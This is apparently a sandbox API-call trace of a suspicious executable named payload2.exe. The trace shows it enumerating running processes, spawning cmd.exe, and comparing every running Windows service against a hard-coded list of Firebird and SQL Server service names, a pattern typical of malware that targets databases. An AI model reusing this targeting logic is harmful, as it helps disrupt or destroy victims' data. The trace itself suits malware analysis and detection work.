	[0164.251] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0164.251] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0164.251] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0164.251] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0164.252] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0164.252] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0164.252] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0164.253] lstrlenW (lpString="mobsync.exe") returned 11
	[0164.253] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0164.253] lstrlenW (lpString="payload2.exe") returned 12
	[0164.253] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0164.254] lstrlenW (lpString="cmd.exe") returned 7
	[0164.254] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0164.254] lstrlenW (lpString="conhost.exe") returned 11
	[0164.254] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0164.255] CloseHandle (hObject=0x29c) returned 1
	[0164.255] Sleep (dwMilliseconds=0x1f4) 
	[0165.046] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x64d900
	[0165.047] EnumServicesStatusExW (in: hSCManager=0x64d900, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0165.047] GetLastError () returned 0xea
	[0165.048] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bbc) returned 0x6b4b58
	[0165.048] EnumServicesStatusExW (in: hSCManager=0x64d900, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b4b58, cbBufSize=0x1bbc, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b4b58, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0165.049] CloseServiceHandle (hSCObject=0x64d900) returned 1
	[0165.049] lstrlenW (lpString="AppXSvc") returned 7
	[0165.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0165.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0165.049] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0165.049] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0165.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0165.049] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0165.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0165.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0165.049] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0165.049] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0165.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0165.049] lstrlenW (lpString="Audiosrv") returned 8
	[0165.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0165.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0165.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0165.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0165.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0165.050] lstrlenW (lpString="BFE") returned 3
	[0165.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0165.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0165.050] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0165.050] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0165.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0165.050] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0165.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0165.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0165.050] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0165.050] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0165.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0165.050] lstrlenW (lpString="CDPSvc") returned 6
	[0165.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0165.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0165.050] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0165.050] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0165.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0165.050] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0165.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0165.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0165.050] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0165.050] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0165.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0165.050] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0165.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0165.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0165.051] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0165.051] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0165.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0165.051] lstrlenW (lpString="CryptSvc") returned 8
	[0165.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0165.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0165.051] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0165.051] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0165.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0165.051] lstrlenW (lpString="DcomLaunch") returned 10
	[0165.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0165.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0165.051] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0165.051] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0165.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0165.051] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0165.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0165.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0165.051] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0165.051] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0165.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0165.051] lstrlenW (lpString="Dhcp") returned 4
	[0165.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0165.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0165.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0165.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0165.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0165.052] lstrlenW (lpString="Dnscache") returned 8
	[0165.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0165.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0165.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0165.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0165.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0165.052] lstrlenW (lpString="DPS") returned 3
	[0165.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0165.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0165.052] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0165.052] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0165.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0165.052] lstrlenW (lpString="DsmSvc") returned 6
	[0165.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0165.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0165.052] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0165.052] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0165.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0165.052] lstrlenW (lpString="DusmSvc") returned 7
	[0165.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0165.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0165.052] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0165.052] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0165.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0165.052] lstrlenW (lpString="EventLog") returned 8
	[0165.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0165.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0165.053] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0165.053] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0165.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0165.053] lstrlenW (lpString="EventSystem") returned 11
	[0165.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0165.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0165.053] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0165.053] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0165.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0165.053] lstrlenW (lpString="FontCache") returned 9
	[0165.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0165.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0165.053] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0165.053] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0165.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0165.053] lstrlenW (lpString="gpsvc") returned 5
	[0165.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0165.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0165.053] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0165.053] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0165.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0165.053] lstrlenW (lpString="iphlpsvc") returned 8
	[0165.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0165.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0165.054] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0165.054] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0165.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0165.054] lstrlenW (lpString="KeyIso") returned 6
	[0165.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0165.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0165.054] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0165.054] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0165.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0165.054] lstrlenW (lpString="LanmanServer") returned 12
	[0165.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0165.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0165.054] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0165.054] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0165.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0165.054] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0165.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0165.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0165.054] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0165.054] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0165.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0165.054] lstrlenW (lpString="lfsvc") returned 5
	[0165.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0165.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0165.054] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0165.054] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0165.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0165.055] lstrlenW (lpString="lmhosts") returned 7
	[0165.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0165.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0165.055] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0165.055] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0165.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0165.055] lstrlenW (lpString="LSM") returned 3
	[0165.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0165.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0165.055] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0165.055] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0165.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0165.055] lstrlenW (lpString="MpsSvc") returned 6
	[0165.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0165.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0165.055] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0165.055] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0165.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0165.055] lstrlenW (lpString="NcbService") returned 10
	[0165.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0165.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0165.055] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0165.055] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0165.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0165.055] lstrlenW (lpString="netprofm") returned 8
	[0165.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0165.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0165.056] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0165.056] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0165.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0165.056] lstrlenW (lpString="NgcSvc") returned 6
	[0165.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0165.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0165.056] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0165.056] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0165.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0165.056] lstrlenW (lpString="NlaSvc") returned 6
	[0165.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0165.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0165.056] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0165.056] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0165.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0165.056] lstrlenW (lpString="nsi") returned 3
	[0165.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0165.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0165.056] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0165.056] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0165.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0165.056] lstrlenW (lpString="PcaSvc") returned 6
	[0165.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0165.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0165.056] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0165.057] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0165.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0165.057] lstrlenW (lpString="PlugPlay") returned 8
	[0165.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0165.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0165.057] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0165.057] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0165.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0165.057] lstrlenW (lpString="Power") returned 5
	[0165.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0165.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0165.057] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0165.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0165.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0165.057] lstrlenW (lpString="ProfSvc") returned 7
	[0165.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0165.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0165.057] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0165.057] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0165.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0165.057] lstrlenW (lpString="RpcEptMapper") returned 12
	[0165.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0165.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0165.057] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0165.057] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0165.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0165.057] lstrlenW (lpString="RpcSs") returned 5
	[0165.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0165.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0165.058] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0165.058] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0165.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0165.058] lstrlenW (lpString="SamSs") returned 5
	[0165.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0165.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0165.058] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0165.058] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0165.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0165.058] lstrlenW (lpString="Schedule") returned 8
	[0165.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0165.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0165.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0165.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0165.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0165.058] lstrlenW (lpString="SecurityHealthService") returned 21
	[0165.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0165.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0165.058] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0165.058] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0165.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0165.058] lstrlenW (lpString="SENS") returned 4
	[0165.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0165.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0165.058] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0165.059] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0165.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0165.059] lstrlenW (lpString="ShellHWDetection") returned 16
	[0165.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0165.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0165.229] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0165.229] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0165.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0165.229] lstrlenW (lpString="Spooler") returned 7
	[0165.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0165.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0165.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0165.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0165.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0165.230] lstrlenW (lpString="StateRepository") returned 15
	[0165.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0165.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0165.230] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0165.230] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0165.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
